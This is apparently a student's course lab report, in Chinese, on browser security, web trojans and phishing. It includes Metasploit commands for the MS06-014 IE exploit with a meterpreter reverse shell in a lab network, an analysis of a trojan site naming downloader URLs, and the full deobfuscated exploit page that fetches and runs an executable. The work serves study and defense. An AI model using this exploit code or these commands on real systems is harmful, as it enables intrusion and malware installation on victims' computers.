20199134 2019-2020-2 《网络攻防实践》第12周作业

20199134 赵兴波 《网络攻防实践》第12周作业

1.实践内容

1.1 web浏览器的技术发展与安全威胁

  • Web浏览器发展

    • 第一次浏览器大战对阵双方是网景的Netscape浏览器与微软的IE浏览器,最终微软通过免费捆绑方式胜出。而Netscape在2008年正式宣布死亡。

    • 第二次浏览器大战是IE与Firefox、Chrome、Safari等浏览器在PC伤的竞争,最终IE衰退,其他浏览器的所占市场上升。

    • 第三次浏览器大战是移动终端上的浏览器之争,群雄争霸,如Safari、Chrome Lite、QQ、baidu等。

  • 现代浏览器的技术结构

    • 现代浏览器的基本结构如下图:
  • web浏览器软件的安全困境三要素

    • 复杂性:现代Web浏览器需要支持多种类型的应用层协议浏览、符合一系列的页面标准规范,支持多种客户端执行环境,已经变得非常复杂和庞大。

    • 可扩展性: 目前几乎所有的现代浏览器软件都支持第三方插件扩展机制, 但第三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普遍。

    • 连通性:browsing anything at anytime in anywhere。

  • Web浏览安全威胁位置

    • 针对传输网络的网络安全协议安全威胁

    • 针对Web端系统平台的安全威胁

    • 针对Web浏览器软件及插件程序的渗透攻击威胁

    • 针对互联网用户的社会工程学攻击威胁

  • web浏览安全威胁类型

    • 网络钓鱼(Phishing)

    • 恶意木马与流氓软件下载

    • 网页木马-浏览器渗透攻击

    • 不良信息内容

1.2 web浏览端的渗透攻击威胁——网页木马

  • 网页木马的机理分析

    • 定义特性:网页木马本质上利用了web浏览器软件中所支持的客户端脚本执行能力,针对web浏览器软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。

    • 网页木马攻击是被动的,需要诱使用户访问网页木马页面。

    • 网页木马攻击流程如下图

    • 网页木马的本质核心是利用Web浏览器端软件安全漏洞的渗透攻击代码。

  • 网页挂马机制

    • 内嵌HTML标签:最常用的内嵌标签为iframe。

    • 恶意script脚本:利用script标签通过跨站脚本包含网页木马

    • 内嵌对象链接:利用图片、flash等内嵌对象中的特定方法来完成指定页面的加载。

    • ARP欺骗挂马:可以进行中间人攻击。

  • 网页木马的检测与分析

    • 基于特征码匹配的传统检测方法。

    • 基于统计与机器学习的静态分析方法。

    • 基于动态行为结果判定的检测分析方法。

    • 基于模拟浏览器环境的动态分析检测方法。

  • 网页木马防范措施

    • 系统软件补丁自动更新。

    • 反病毒软件的使用。

    • 浏览器使用IE、Firefox等

    • Google安全建议。

1.3网络钓鱼

  • 网络钓鱼是社会工程学在互联网中广泛实施的一种典型攻击方式,通过发送欺骗性垃圾邮件,引诱收件人的个人敏感信息(如用户名、口令、帐号ID、PIN码或信用卡信息等)

  • 技术策略

    • 架设钓鱼网站如知名金融机构及商务网站。

    • 发送大量欺骗性垃圾邮件。

    • 诱骗因特网用户访问钓鱼网站并以敏感信息登录。

    • 滥用个人敏感信息如资金转账、冒用身份等。

  • 钓鱼攻击策略-欺骗的技巧

    • 使用IP地址代替域名。

    • 注册发音相近或形似DNS域名。

    • 多数真实的链接中混杂关键的指向假冒钓鱼网站的链接。

    • 对链接URL进行编码和混淆。

    • 攻击浏览器,隐藏消息内容的本质。

    • 假冒钓鱼网站的透明性。

    • 恶意软件安装浏览器助手工具。

    • 修改本地DNS域名和IP地址映射hosts文件。

  • 网站钓鱼防范措施

    • 了解网站钓鱼安全威胁与技巧。

    • 增强安全意识,提高警惕性。

    • 使用安全软件。

2.实践过程

2.1 浏览器渗透攻击实践

  • 环境

    • 攻击机:Kali IP地址:192.168.200.25
    • 靶机:Win2kServer IP地址:192.168.200.124
  • 任务:使用攻击机进行浏览器渗透攻击实践。

    • 选择使用Metasploit中的MS06-014渗透攻击模块。
    • 选择PAYLOAD为任意远程Shell连接。
    • 设置LHOST参数,运行exploit,构造出恶意网页脚本。
    • 在靶机环境中启动浏览器,访问恶意网页脚本URL。
    • 查看建立起的远程控制会话SESSION。
  • 实践过程

    • 如之前的实践一样,使用msfconsole打开metasploit,然后使用search MS06-014进行搜索,发现仅有一个可使用。

    • 接下来使用use exploit/windows/browser/ie_createobject选择漏洞

    • 设置靶机set rhost 192.168.200.124
      设置攻击机地址set lhost 192.168.200.25
      设置payload: set payload windows/meterpreter/reverse_tcp
      执行run

    • 可以得到一个木马网址http://192.168.200.25:8080/6ACK16iNaY

    • 在靶机中访问该地址,再回到攻击机中发现已经建立会话,攻击完成。

    • 用sessions查看目前的连接,使用命令sessions -i 1选择会话1,返回meterpreter,使用ifconfig查看靶机IP。

2.2 网站挂马分析实践

  • 任务:根据给出的说明逐步分析,得到最终的木马文件的内容。

  • 说明:这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文 件。首先你应该访问 start.html,在这个文件中给出了 new09.htm 的地址,在进入 new09.htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/ 目录下去下载对应的文件(注意:文件名中的英文字母 为小写, 且没有扩展名),即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密。如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。 重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的 URL 形式,形如 http://xx.18dd.net/a/b.htm,否则会导致散列值计算不正确而无法继续。

    • 试述你是如何一步步地从所给的网页中获取最后的真实代码的?
    • 网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
    • 从解密后的结果来看,攻击者利用了那些系统漏洞?
    • 解密后发现了多少个可执行文件?其作用是什么?
    • 这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?
  • 实践过程

    • 给出的网址无法访问,根据实践参考进行分析、理解。

    • 根据实践指导,访问start.html文件,可以得到new09.htm 文件。

    • 在new09.htm文件中,用 iframe 引用了一个 http://aa.18dd.net/aa/kl.htm 文件, 又用 javascript 引用了一个 http://js.users.51.la/1299644.js 文件。 计算散列之后可以得到这两个文件内容。

    • 分析kl.htm 文件,发现其通过XXTEA+Base64加密,(给出的XXTEA解密网址也无法访问)对其解密得到代码。

    • 利用到的应用程序漏洞有 Adodb.Stream、MPS.StormPlayer、POWERPLAYER.PowerPlayerCtrl.1和BaiduBar.Tool, 分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞

    • 并且此文件还引用三个js 文件(1.js、b.js、pps.js和一个 压缩包(bd.cab,解开后是 bd.exe)

    • 经过以上所作可以得到四个exe文件。发现这四个文件在资源管理器中显示出同样的大小。进一步对文件内容进行 MD5 散列计算得出结论,这四个文件内容完全相同。

    • 根据以上,只需分析一个exe文件即可。此处选择pps.exe。

    • 使用工具PEID打开pps.exe查看是否加壳,发现没有加壳。

    • 用工具W32DAsm反汇编这个 exe 文件,参考—>串式参考,可以发现如下内容。得出结论:

    • 这个程序可能生成一个叫Alletdel.bat的批处理文件,这个文件中有一个标签叫try, 批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日 期,删除某些文件(goto try,:try,Alletdel.bat,cmd /c date,cmd /c date 1981-01-12,del %0等)

    • 这个程序可能在磁盘根目录下生成自动运行的文件,以求用户不小心时启动程序(:\AutoRun.inf[AutoRun] open=AutoRun.infshell\Auto\command=

    • 这个程序要对 IE、注册表、服务和系统文件动手脚(advapi32.dlldrivers/klif.sys\program files\internet explorer\IEXPLORE.EXEIE 执行保护IEXPLORE.EXESoftware\Microsoft\Windows\CurrentVersion\Poli等)

    • 这个程序有一定的防系统保护软件的能力( "瑞星卡卡上网安全助手 - IE 防漏墙", "允许","允许执行")

    • 这个程序要下载一堆木马(一堆形如http://down.18dd.net/kl/**.exe的字符串, 共 20 个)

    • 对20个exe文件进行分析,以4.exe为例,先脱壳,然后查看字符串,用Total Uninstall监视运行4_unpacked.exe,大概就是生成了一些文件,如 kawdbaz.exe ,kawdbzy.dll,删除了 verclsid.exe和4_unpacked.exe,对注册表进行了操作,大概是加载了一个启动 DLL,另外把 Windows 的 自动更新功能给禁用了。打开dll可查看url。

2.3 Web浏览器渗透攻击对抗实验

  • 攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

  • 防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。


  • 使用实践一ms06-014的攻击,靶机可以右键查看源文件获取攻击页面的源代码。

  • 在线工具https://www.sojson.com/jsjiemi.html, 反混淆和去掉js代码中的空格

< html > < head > < title > 
< /title><script language="javascript">
function gWOSkQkBHBKSLJUiiJxSlJRLOgq(o,n)
{var r=null;try{eval("r=o.CreateObject(n)")}
catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}
catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}
catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}
catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}
catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}
catch(e){}}return(r)}
function YhS(a)
{var s=gWOSkQkBHBKSLJUiiJxSlJRLOgq(a,"WScript.Shell");
var o=gWOSkQkBHBKSLJUiiJxSlJRLOgq(a,"ADODB.Stream");
var e=s.Environment("Process");
var url=document.location+'/payload';
var xml=null;var bin=e.Item("TEMP")+"\\aSpVkXiUbCLe.exe";
var dat;try{xml=new XMLHttpRequest()}
catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}
catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}
if(!xml){return(0)}xml.open("GET",url,false);
xml.send(null);dat=xml.responseBody;
o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function qqtxLP()
{var i=0;var t=new Array(' {
    BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
',' {
    BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
',' {
    7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
',' {
    6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
',' {
    6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
',' {
    06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
',' {
    639F725F - 1B2D - 4831 - A9FD - 874847682010
}
',' {
    BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
',' {
    D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
',' {
    E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
',' {
    AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
',' {
    0006F033 - 0000 - 0000 - C000 - 000000000046
}
',' {
    0006F03A - 0000 - 0000 - C000 - 000000000046
}
',null);while(t[i]){var a=null;if(t[i].substring(0,1)==' {
    '){
a=document.createElement("object");
a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}
else{try{a=new ActiveXObject(t[i])}catch(e){}}
if(a){try
{var b=gWOSkQkBHBKSLJUiiJxSlJRLOgq(a,"WScript.Shell");
if(b){YhS(a);return(0)}}
catch(e){}}i++}}
</script></head><body onload='qqtxLP()
    '>aMopqtpCAZOqppDdRzLA</body></html>
  • 从源码中可以看到,使用js调用了document.location加载了payload,并且下一行中后面跟了一个可执行文件aSpVkXiUbCLe.exe;在攻击机上发现攻击机发送了一个exe文件给靶机。攻击过程应该就是靶机访问某网页,通过网页将exe可执行文件下载到靶机上,该执行文件可帮助攻击者获得靶机控制权。
  • 源码中出现了很多字符串,对“BD96C556“进行搜索,发现是MS06-014漏洞

2.4 Web浏览器遭遇攻击、取证分析

  • kali机上安装不上chaosreader,不知道怎么做了。

3.学习中遇到的问题及解决

  • 问题1:浏览器渗透攻击实践时攻击机与靶机无法建立会话
  • 问题1解决方案:ping一下,发现ping不通,打开蜜罐就好了。
  • 问题2:kali机无法安装chaosreader
  • 问题2解决方案:未解决

4.实践总结

本次实践真的好多内容,搞得头大,还搞不明白。唉😔……!焦头烂额。

参考资料

posted @ 2020-05-21 09:51  zzxb  阅读(278)  评论(0编辑  收藏  举报